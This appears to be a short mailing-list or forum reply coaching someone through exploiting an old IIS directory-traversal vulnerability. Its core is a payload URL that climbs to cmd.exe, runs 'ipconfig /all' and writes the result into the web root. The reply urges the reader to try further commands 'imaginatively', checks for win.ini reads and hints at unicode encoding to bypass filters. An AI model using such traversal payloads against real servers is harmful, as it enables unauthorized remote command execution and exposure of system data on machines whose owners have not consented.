you will only be able to get the PUT command to work on directories
that the web server service has write permissions on.

What you might be able to try is the following on something like the
IE6 browser.

http://mycomputer:port#/..//..//..//..//..//..//..//windows/system32/cmd.exe?ipconfig+/all+>+/windows/inetpub/wwwroot/ipconfig.txt

This will attempt to pass a command to the cmd.exe program and execute
ipconfig /all, the result of which will be placed into a text file in
the windows/inetpub/wwwroot/ directory so you can web browse to it.
You can then try other things with cmd.exe, be imaginative.

This is a very old vulnerability and may not work properly, but if you
can see the contents of win.ini, then there is a good chance. I'm
actually a little surprised that the double forward slash is working
and that you have not had to replace it with unicode etc.

al the best,
